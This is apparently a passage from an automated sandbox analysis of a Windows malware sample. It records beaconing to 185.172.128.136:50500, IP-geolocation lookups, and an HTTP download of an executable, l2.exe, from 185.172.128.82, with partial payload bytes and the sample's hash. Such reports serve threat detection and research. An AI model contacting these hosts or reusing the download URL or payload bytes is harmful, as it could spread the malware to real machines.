May 23, 2024 23:35:11.036217928 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:14.011688948 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:14.016863108 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:14.215652943 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:14.442584038 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:17.302010059 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:17.307208061 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:17.500544071 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:17.629949093 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:20.552180052 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:20.561089993 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:20.768951893 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:20.942594051 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:23.817601919 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:23.843533039 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:24.043761015 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:24.109961987 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:27.098855019 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:27.107089996 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:27.310082912 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:27.442506075 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:30.349410057 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:30.360667944 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:30.559117079 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:30.621364117 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:33.614511013 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:33.636048079 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:33.841356039 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:33.942511082 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:36.879986048 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:36.887034893 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:37.092334032 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:37.243161917 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:40.146363020 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:40.154442072 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:40.357556105 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:40.468389034 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:43.411953926 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:43.417365074 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:43.622489929 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:43.833023071 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:46.676980972 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:46.681963921 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:46.886522055 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:46.942455053 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:49.926812887 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:49.931843042 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:50.138004065 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:50.254651070 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:53.195322037 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:53.201459885 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:53.412062883 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:53.630008936 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:56.458070040 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:56.463087082 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:56.672132969 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:56.739348888 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:59.708172083 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:59.713483095 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:59.925648928 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:00.036123991 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:02.958165884 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:03.015386105 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:03.172159910 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:03.332964897 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:06.208039045 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:06.219598055 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:06.422076941 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:06.484937906 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:09.458120108 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:09.468719959 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:09.669579029 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:09.741302967 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:12.723733902 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:12.733221054 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:12.933818102 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:13.129926920 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:15.038564920 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:15.038733959 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:15.132478952 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:15.132541895 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:15.134823084 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:18.067522049 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:18.100733995 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:18.303292036 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:18.442413092 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:21.348625898 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:21.354655981 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:21.562195063 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:21.739161015 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:24.600161076 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:24.623941898 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:24.826395035 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:24.942425013 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:27.879959106 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:27.885030031 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:28.091061115 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:28.241991043 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:31.129977942 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:31.144620895 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:31.343075037 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:31.385351896 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:34.395840883 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:34.629805088 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:34.945015907 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:35.088761091 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:35.088854074 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:35.088884115 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:35.259865046 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:35.377983093 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:38.286241055 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:38.306854963 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:38.519867897 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:38.645405054 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:41.567486048 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:41.578527927 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:41.799040079 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:41.918426991 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:44.848736048 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:44.853847027 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:45.091442108 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:45.145536900 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:48.129961967 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:48.142575026 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:48.341680050 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:48.442960978 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:51.398607969 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:51.455369949 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:51.618071079 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:51.702689886 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:54.661006927 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:54.845449924 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:55.031852961 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:55.129765034 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:58.067692041 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:36:58.078629971 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:58.291774035 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:36:58.442210913 CEST	49734	50500	192.168.2.4	185.172.128.136

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 23:33:01.368495941 CEST	49915	53	192.168.2.4	1.1.1.1
May 23, 2024 23:33:01.392410994 CEST	53	49915	1.1.1.1	192.168.2.4
May 23, 2024 23:33:02.203530073 CEST	51285	53	192.168.2.4	1.1.1.1
May 23, 2024 23:33:02.255886078 CEST	53	51285	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 23, 2024 23:33:01.368495941 CEST	192.168.2.4	1.1.1.1	0xb641	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 23, 2024 23:33:02.203530073 CEST	192.168.2.4	1.1.1.1	0x7375	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 23, 2024 23:33:01.392410994 CEST	1.1.1.1	192.168.2.4	0xb641	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false
May 23, 2024 23:33:02.255886078 CEST	1.1.1.1	192.168.2.4	0x7375	No error (0)	db-ip.com	104.26.4.15	A (IP address)	IN (0x0001)	false
May 23, 2024 23:33:02.255886078 CEST	1.1.1.1	192.168.2.4	0x7375	No error (0)	db-ip.com	172.67.75.166	A (IP address)	IN (0x0001)	false
May 23, 2024 23:33:02.255886078 CEST	1.1.1.1	192.168.2.4	0x7375	No error (0)	db-ip.com	104.26.5.15	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

ipinfo.io

db-ip.com

185.172.128.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	185.172.128.82	80	4944	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
May 23, 2024 23:33:06.013114929 CEST	224	OUT	HEAD /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.172.128.82 Cache-Control: no-cache
May 23, 2024 23:33:06.679965019 CEST	260	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 23 May 2024 21:33:06 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Wed, 22 May 2024 06:47:19 GMT Connection: keep-alive ETag: "664d94f7-45a2b8" Accept-Ranges: bytes
May 23, 2024 23:33:06.681318045 CEST	223	OUT	GET /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.172.128.82 Cache-Control: no-cache
May 23, 2024 23:33:06.925595045 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 23 May 2024 21:33:06 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Wed, 22 May 2024 06:47:19 GMT Connection: keep-alive ETag: "664d94f7-45a2b8" Accept-Ranges: bytes Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|EPw.MPRESS1pw?.MPRESS22w?.rsrc\|w?@v2.19w? oG>Hr9aQ(`.=?!Z&II18Z!Ys[QXaYY)vn\|)^f+>84h82g>hb\E(x@8_94Um's#03O]`S2@#oF~RQqoynOA@\|gF0js/H+ 0C!7s^H, {DrI,\|u6E>q}g)UME'j}7^wLekT`#%bnF&-o/8SE{1E,<
May 23, 2024 23:33:06.925616980 CEST	1236	IN	Data Raw: 95 63 7c 62 14 7a 8b 46 7a 1a 01 b7 08 bd e8 11 11 7c 83 ee 57 22 70 03 15 e4 ed a2 17 31 ba 52 78 e6 fb b7 ba 6b 46 40 f9 62 4c 19 cf 0f 83 67 98 84 14 d6 a1 84 0d 70 e7 ad 96 18 5f 8e 2d 2d ee da 4b a9 1a ef fa 01 bb 89 f5 32 c4 d1 0b f5 7c e5 Data Ascii: c\|bzFz\|W"p1RxkF@bLgp_--K2\|koN$Xkj+%R+t[ BS=)d;*l;._>KfBqxY(F\|0.Ve%S61opMG`'\YfRXvY[R+t[
May 23, 2024 23:33:06.925935984 CEST	448	IN	Data Raw: ea 8b a9 cb 03 bc 1e 0f a1 a7 4e 8a 54 6a 55 a2 2a 2f 6e 5e cb f1 f6 09 49 e4 0d c8 5c 63 28 b1 36 8f 8b b8 99 c3 4f 5c 69 f7 db 86 b0 64 07 52 2d 8c 8c 18 41 64 1b 7d 70 60 7d 5a e5 46 3d 11 d9 15 8c bf 42 63 52 cb d2 94 b8 50 61 63 c7 d7 94 fe Data Ascii: NTjU/n^I\c(6O\idR-Ad}p`}ZF=BcRPac~lVjP/&0[^EHRqW~;GE/(PiuiU/bsZD_W5{6"f#83\|)`zwE++i4y5b6=
May 23, 2024 23:33:06.927439928 CEST	1236	IN	Data Raw: d2 56 1c f3 66 eb 3c 94 dc b5 48 e2 7b f7 a1 f5 49 a6 7b 46 b9 09 0d 4e b3 bc 67 e5 c9 3b 26 88 fa 0f 3d 5f 0b da 57 17 fb 4c 49 bd 9f db 07 5f 87 d6 06 4c c1 6b 9c c6 52 5e 1d de c7 cb c5 1d 25 8e 52 62 dc 0c 86 94 8e ef 94 bd 6b a3 26 8b a7 3a Data Ascii: Vf<H{I{FNg;&=_WLI_LkR^%Rbk&:?s;[QT%mp}4Qdv#<6I[YA:e4WF1-]?Zx_bqI\6`~PaFp71"<Y^T
May 23, 2024 23:33:06.927455902 CEST	1236	IN	Data Raw: 1f a3 82 f1 b9 6b 22 2c 2c 23 0d 8b 0d 20 96 99 a8 85 2f 02 61 96 ba c3 65 43 f5 f9 55 ba 5e 77 99 a9 10 6c 99 75 51 38 66 31 00 e4 d5 de 68 b3 d6 89 3b fd c5 4d 70 58 ad fe 13 44 71 d9 b6 89 60 41 55 b4 85 62 8e 3a 6e e0 b2 6e 1f 6a 3d 00 f9 84 Data Ascii: k",,# /aeCU^wluQ8f1h;MpXDq`AUb:nnj=yn^^Rj]p+oR#oFpd,Y5rIh?G0j\|,]ultVgp7"L\j]n0zSi#[J3qAJ
May 23, 2024 23:33:06.927475929 CEST	1236	IN	Data Raw: 83 34 45 3d 4c b7 22 03 34 59 72 c2 09 3f 67 c8 91 c4 6e 54 f2 47 6a 73 45 5c 15 5d 77 d6 ef ea 85 53 ef f8 57 8f b1 c5 5d 17 bf 5f 1c e3 97 62 7a a0 b5 d0 eb f1 64 9f a9 7a e1 d0 97 f0 c2 b6 fc b7 b1 45 c3 4f b2 4d 03 fd 8f 49 80 0d d0 83 f8 61 Data Ascii: 4E=L"4Yr?gnTGjsE\]wSW]_bzdzEOMIaRql%Szb%/_jhtMHZ'<Y%g;L_a>Qvxls(mi!jt!o~Vnj-@m[.\|q+&+S5g/A)t+F3#Jr$
May 23, 2024 23:33:06.930449963 CEST	1236	IN	Data Raw: f9 be 3e 6b 16 d5 ea e6 fb 15 1a 78 66 9b ed d1 58 a3 22 d2 02 75 4d 27 1b c8 12 a6 09 3f 4e c9 69 c9 a0 50 1f 15 a5 51 7b b1 3f 42 f9 73 2c 36 3d db 73 4c 7a a4 9b 17 5a 97 8b b0 28 48 c8 48 1f 85 60 d5 2e 4a a8 55 cd 5e 2f f0 b6 75 92 f3 e7 61 Data Ascii: >kxfX"uM'?NiPQ{?Bs,6=sLzZ(HH`.JU^/uaWcgoh-X4m;<0y8.pE2D>0*)3k?[1{n5QEM#L'&Qo2^q)' 1\@?\ns7j'U~,dA
May 23, 2024 23:33:06.931996107 CEST	328	IN	Data Raw: aa 5f 50 1d a3 3f 74 ed f0 17 d6 d7 b6 54 21 6c 79 3b 09 77 78 f9 43 cf 20 a2 57 63 1b de ef 29 f5 8e 86 c7 cb 7b 26 a2 a4 49 ab d8 5f 00 75 6d 27 84 4d 8c f2 cd d7 65 45 d0 8b d9 6d f6 5e 1b 24 75 cd 70 00 d5 77 76 b1 53 5c 9d f6 50 49 24 03 c5 Data Ascii: _P?tT!ly;wxC Wc){&I_um'MeEm^$upwvS\PI$tKYk{Ql"9K8RoA4s-FhyAQXGL;~k^^F#d~)g0!EQ:(f4V^-?8X1K
May 23, 2024 23:33:06.932012081 CEST	1236	IN	Data Raw: 4f 6c 17 e2 d6 96 4d 04 74 37 23 00 5b 1e d1 3f 69 1c 88 64 5d 26 5c e7 a6 31 84 49 8d 1c 72 55 2c 80 f6 a9 d3 69 8e f6 f2 e9 37 10 86 82 17 21 99 e7 56 50 85 01 7b 7f f7 5e 41 56 01 58 37 bd 7b 0e e7 64 4a 26 8f a6 1c 95 8d 63 8a a6 1a bf fc fd Data Ascii: OlMt7#[?id]&\1IrU,i7!VP{^AVX7{dJ&c2!wXS%xq?+/<2RXw+po@K}\|-=UqF@qhGZ#CWOg(w_NN)cd1$Xw\rQqi;
May 23, 2024 23:33:06.932025909 CEST	1236	IN	Data Raw: 6e f8 fe 6c da 87 7d 1b 54 1a 99 72 25 b2 8c 0f 04 64 8d 12 81 7c 8e e1 ab 58 ae a1 63 32 e9 ff b6 ce 6f 05 73 75 08 07 e5 15 3a f8 c4 1e 66 0f 3f 6d fa c8 12 63 af 0a 2d 93 6c d7 db 82 31 41 6d 58 8c 2f 72 da 4c 1e ee 11 46 9c 16 0d cf 62 e0 07 Data Ascii: nl}Tr%d\|Xc2osu:f?mc-l1AmX/rLFb7M;pGot/Y9{=~U8h<U\f-9q2M\{C\|qV5P>J4~~EnZ6C.`0;t]NN=ozKg8&6
May 23, 2024 23:33:06.934997082 CEST	1236	IN	Data Raw: 16 c9 87 15 ba 4e f2 e5 df 2a d0 09 6a 8e 2c 1a 98 ad fd d9 bd 7d 7c db db 36 09 1c 6c 80 74 2c 07 34 9c 56 28 28 53 a4 38 5f 29 62 d1 12 1e 9e b7 54 49 1f be 74 9f 00 3d 03 58 d9 0c 3c 71 2b 27 60 17 c3 39 f0 a3 89 c5 24 a4 95 c7 74 f1 1f a5 dd Data Ascii: N*j,}\|6lt,4V((S8_)bTIt=X<q+'`9$tWza8v;pS[u(Y}/P/DPC~F}!ZlOADq}}s# :%>5%G))e_HJ&UAZy%D)q

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	34.117.186.192	443	4944	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 21:33:02 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-23 21:33:02 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 23 May 2024 21:33:02 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 21:33:02 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-23 21:33:02 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.26.4.15	443	4944	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 21:33:02 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-23 21:33:02 UTC	652	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 21:33:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC4672AD:E13E_93878F2E:0050_664FB60E_EE5592B:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J1CZ6BnGpbqGg5albB16Meulmy21cXJBpYVKVF%2FZfzxj96lueT7FG7TXMIattIwgtorMecf%2BMMU8g98c9HXNgDjrzJCDrBTuCbVQ1H6Zt9LxBY0czpZidRI9XQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8888297d0f3032d0-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 21:33:02 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-23 21:33:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:32:55
Start date:	23/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x80000
File size:	4'792'320 bytes
MD5 hash:	EE40081ECC9D262A6AFB70E92D9092F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
